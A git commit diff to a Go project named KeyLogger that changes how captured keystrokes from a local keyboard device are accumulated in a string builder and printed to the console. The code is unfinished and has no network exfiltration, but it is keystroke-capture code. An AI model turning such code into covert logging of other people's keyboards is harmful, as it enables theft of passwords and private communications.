adding a return string

This commit is contained in:
Christopher Talib 2019-12-12 15:18:46 +01:00
parent 580350f08d
commit 2e88f8f060

23
main.go
View file

@ -112,14 +112,24 @@ func (k *KeyLogger) Close() error {
} }
func output(input InputStream) { func output(input InputStream) {
res := []string{} var res string
for { for {
if input.event.KeyString() != "" { if input.event.KeyString() != "" {
res = append(res, input.event.KeyString()) res += input.event.KeyString()
} }
fmt.Println(res)
} }
} }
func join(strs ...string) string {
var sb strings.Builder
for _, str := range strs {
sb.WriteString(str)
}
return sb.String()
}
func main() { func main() {
fmt.Println("Your keyboard input will be here: ", getKeyboard()) fmt.Println("Your keyboard input will be here: ", getKeyboard())
// TODO // TODO
@ -134,18 +144,19 @@ func main() {
} }
defer klog.Close() defer klog.Close()
events := klog.Read() events := klog.Read()
stream := InputStream{} // stream := InputStream{}
go output(stream) var b strings.Builder
for e := range events { for e := range events {
switch e.Type { switch e.Type {
case utils.EvKey: case utils.EvKey:
if e.KeyPress() { if e.KeyPress() {
stream.event = e b.WriteString(e.KeyString())
} }
break break
default:
fmt.Println(b.String())
} }
} }